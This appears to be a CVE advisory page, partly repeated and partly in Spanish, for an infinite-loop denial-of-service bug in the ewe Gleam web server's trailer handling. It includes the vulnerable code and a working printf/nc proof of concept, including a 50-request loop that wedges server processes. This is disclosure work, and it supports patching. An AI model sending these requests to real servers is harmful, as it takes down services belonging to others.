ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers…
GitHub_M·CWE-825·Published 2026-03-16
ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.
ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.
## Summary ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape. ## Impact When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`: ```gleam // Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining) False -> handle_trailers(req, set, rest) ``` This causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates. **Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code. ### Proof of Concept **Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:** ```sh printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080 ``` This will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever. **Exhaust server resources with concurrent requests:** ```sh for i in $(seq 1 50); do printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 & done ``` Open the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts. ### Vulnerable Code All three `False`/`Error` branches in `handle_trailers` have the same bug: ```gleam // ewe/internal/http1.gleam, lines 493–531 fn handle_trailers( req: Request(BitArray), set: Set(String), rest: Buffer, ) -> Request(BitArray) { case decoder.decode_packet(HttphBin, rest) { Ok(Packet(HttpEoh, _)) -> req Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> { // ... field name parsing ... case field_name { Ok(field_name) -> { case set.contains(set, field_name) && !is_forbidden_trailer(field_name) { True -> { case bit_array.to_string(value) { Ok(value) -> { request.set_header(req, field_name, value) |> handle_trailers(set, Buffer(header_rest, 0)) // correct } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520 } } False -> handle_trailers(req, set, rest) // BUG: line 523 } } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526 } } _ -> req } } ```
## Summary ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape. ## Impact When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`: ```gleam // Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining) False -> handle_trailers(req, set, rest) ``` This causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates. **Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code. ### Proof of Concept **Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:** ```sh printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080 ``` This will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever. **Exhaust server resources with concurrent requests:** ```sh for i in $(seq 1 50); do printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 & done ``` Open the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts. ### Vulnerable Code All three `False`/`Error` branches in `handle_trailers` have the same bug: ```gleam // ewe/internal/http1.gleam, lines 493–531 fn handle_trailers( req: Request(BitArray), set: Set(String), rest: Buffer, ) -> Request(BitArray) { case decoder.decode_packet(HttphBin, rest) { Ok(Packet(HttpEoh, _)) -> req Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> { // ... field name parsing ... case field_name { Ok(field_name) -> { case set.contains(set, field_name) && !is_forbidden_trailer(field_name) { True -> { case bit_array.to_string(value) { Ok(value) -> { request.set_header(req, field_name, value) |> handle_trailers(set, Buffer(header_rest, 0)) // correct } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520 } } False -> handle_trailers(req, set, rest) // BUG: line 523 } } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526 } } _ -> req } } ```
ewe es un servidor web Gleam. Las versiones 0.8.0 a 3.0.4 contienen un error en la función handle_trailers donde los encabezados de tráiler rechazados (prohibidos o no declarados) causan un bucle infinito. Cuando handle_trailers encuentra un tráiler de este tipo, tres rutas de código (líneas 520, 523, 526) recursan con el búfer original (rest) en lugar de avanzar más allá del encabezado rechazado (Buffer(header_rest, 0)), lo que provoca que decoder.decode_packet vuelva a analizar el mismo encabezado en cada iteración. El bucle resultante no tiene tiempo de espera ni escape — el proceso BEAM se atasca permanentemente al 100% de CPU. Cualquier aplicación que llama a ewe.read_body en solicitudes fragmentadas se ve afectada, y esto es explotable por cualquier cliente remoto no autenticado antes de que el control regrese al código de la aplicación, lo que hace imposible una solución alternativa a nivel de aplicación. Este problema está solucionado en la versión 3.0.5.
| Version | Type | Source | Base | Exp | Impact | Vector |
|---|---|---|---|---|---|---|
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Primary | cve.org | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | NVD | 7.5 | 3.9 | 3.6 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| 3.1 | Secondary | GHSA | 7.5 | — | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |